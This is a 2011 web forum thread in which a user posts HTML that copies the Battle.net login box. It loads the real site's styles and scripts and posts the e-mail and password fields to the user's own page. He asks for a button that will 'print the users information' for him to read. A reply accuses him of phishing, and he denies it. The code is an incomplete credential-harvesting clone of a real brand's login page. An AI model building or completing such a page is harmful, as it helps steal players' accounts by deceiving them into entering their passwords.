World of Warcraft login box code

Discussion in 'HTML & Website Design' started by Grimmfang, Mar 29, 2011.

  1. #1
    I'm trying to copy the Battle.net login box this is what I have so far...

    <!DOCTYPE html>
    
     <html xmlns="http://www.w3.org/1999/xhtml">
    
     <head>
    
      <title></title>
    
      <link rel="stylesheet" type="text/css" href="https://us.battle.net//login/static/local-common/css/common.css?v16"/>
    
      <link rel="stylesheet" type="text/css" href="https://us.battle.net//login/static/_themes/bam/css/master.css?v1"/>
    
      <script type="text/javascript" src="https://us.battle.net//login/static/local-common/js/third-party/jquery-1.4.4-p1.min.js?v16"></script>
    
      <script type="text/javascript" src="https://us.battle.net//login/static/local-common/js/core.js?v16"></script>
    
      <script>
    
       var targetOrigin = "http://us.battle.net";
    
    
    
       function updateParent(action, key, value) {
    
        var obj = { action: action };
    
    
    
        if (key) obj[key] = value;
    
    
    
        parent.postMessage(JSON.stringify(obj), targetOrigin);
    
        return false;
    
       }
    
    
    
       function checkDefaultValue(input, isPass) {
    
        if (input.value == input.title)
    
         input.value = "";
    
    
    
        if (isPass)
    
         input.type = "password";
    
       }
    
      </script>
    
     </head>
    
     <body>
    
      <div id="embedded-login">
    
       <h1>Battle.net</h1>
    
    
    
     <form action="" method="post">
    
      <a id="embedded-close" href="javascript:;" onclick="updateParent('close')"> </a>
    
    
    
      <div>
    
    
    
       <p><label for="accountName" class="label">E-mail Address</label>
    
       <input id="accountName" value="" name="accountName" maxlength="320" type="text" tabindex="1" class="input" /></p>
    
    
    
       <p><label for="password" class="label">Password</label>
    
       <input id="password" name="password" maxlength="16" type="password" tabindex="2" autocomplete="off" class="input"/></p>
    
    
    
    
    
       <p>
    
    
        <input type="hidden" name="app" value="com-sc2"/>
    
      <span>
    
       <form name="Synchronize" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
    
    
      </span>
       </p>
    
      </div>
    
            
    
     <ul id="help-links">
    
    
    
    
    
       <li class="icon-pass">
    
        <a href="https://us.battle.net/account/support/password-reset.html">Can’t log in</a>?
    
       </li>
    
    
    
    
    
        <li class="icon-signup">
    
         Don’t have an account yet? <a href="https://us.battle.net/account/creation/tos.html?ref=">Sign up now</a>!
    
        </li>
    
    
    
       <li class="icon-secure">
    
        Learn how to <a href="http://us.battle.net/security/?ref=">protect your account</a>!
    
       </li>
    
    
    
    
    
    
    
    
    
    
    
     </ul>
    
      
    
      
    
      <script type="text/javascript">
    
       $(function() {
    
        $("#ssl-trigger").click(function() {
    
         updateParent('onload', 'height', $(document).height() + 76);
    
         $("#thawteseal").show();
    
        });
    
        
    
        $("#help-links a").click(function() {
    
         updateParent('redirect', 'url', this.href);
    
         return false;
    
        });
    
    
    
        $('#accountName').focus();
    
    
    
        updateParent('onload', 'height', $(document).height());
    
       });
    
      </script>
    
     </form>
    [img]http://www.guildox.com/go/guildox2.gif[/img]
      </div>
     </body>
    
     </html>
    PHP:
    I'm trying to use the following line to make a button that will print the users information for me to read... but its not making a button..
    <form name="Synchronize" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
    PHP:

     
    Last edited: Mar 29, 2011
    Grimmfang, Mar 29, 2011 IP
  2. Jeremy Sellers

    Jeremy Sellers Peon

    Messages:
    207
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #2
    Quit trying to phish people.
     
    Jeremy Sellers, Mar 31, 2011 IP
  3. Grimmfang

    Grimmfang Member

    Messages:
    191
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    30
    #3
    Phish people... lol? I'm using the login box on my site...
     
    Grimmfang, Mar 31, 2011 IP